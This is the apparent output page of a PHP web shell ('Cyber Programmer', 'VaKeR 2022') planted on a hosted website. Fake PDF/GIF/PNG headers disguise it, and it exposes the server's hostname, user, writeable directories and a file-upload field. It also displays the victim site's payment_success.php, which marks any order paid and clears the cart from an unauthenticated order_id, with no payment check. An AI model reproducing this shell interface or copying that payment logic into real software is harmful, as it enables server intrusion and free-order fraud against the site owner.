%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/payment_success.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");

$order_id = intval($_GET['order_id'] ?? 0);

if($order_id <= 0)
{
    die("Invalid Order ID");
}

/*
|--------------------------------------------------------------------------
| Get Order
|--------------------------------------------------------------------------
*/

$orderQry = mysqli_query(
    $conn,
    "SELECT *
     FROM orders
     WHERE id='$order_id'
     LIMIT 1"
);

if(mysqli_num_rows($orderQry) == 0)
{
    die("Order Not Found");
}

$order = mysqli_fetch_assoc($orderQry);

/*
|--------------------------------------------------------------------------
| Update Order Status
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE orders
     SET order_status='Paid'
     WHERE id='$order_id'"
);

/*
|--------------------------------------------------------------------------
| Clear User Cart
|--------------------------------------------------------------------------
*/

$user_id = $order['user_id'];

mysqli_query(
    $conn,
    "DELETE FROM cart_items
     WHERE user_id='$user_id'"
);

/*
|--------------------------------------------------------------------------
| Response
|--------------------------------------------------------------------------
*/

echo json_encode([

    "status" => true,

    "message" => "Payment Successful",

    "screen_type" => "success",

    "data" => [

        "order_id" =>
            $order_id,

        "order_number" =>
            $order['unique_order_id'],

        "total_amount" =>
            $order['total_amount'],

        "payment_type" =>
            $order['payment_type'],

        "order_status" =>
            "Paid"
    ]

], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

$conn->close();

?>

VaKeR 2022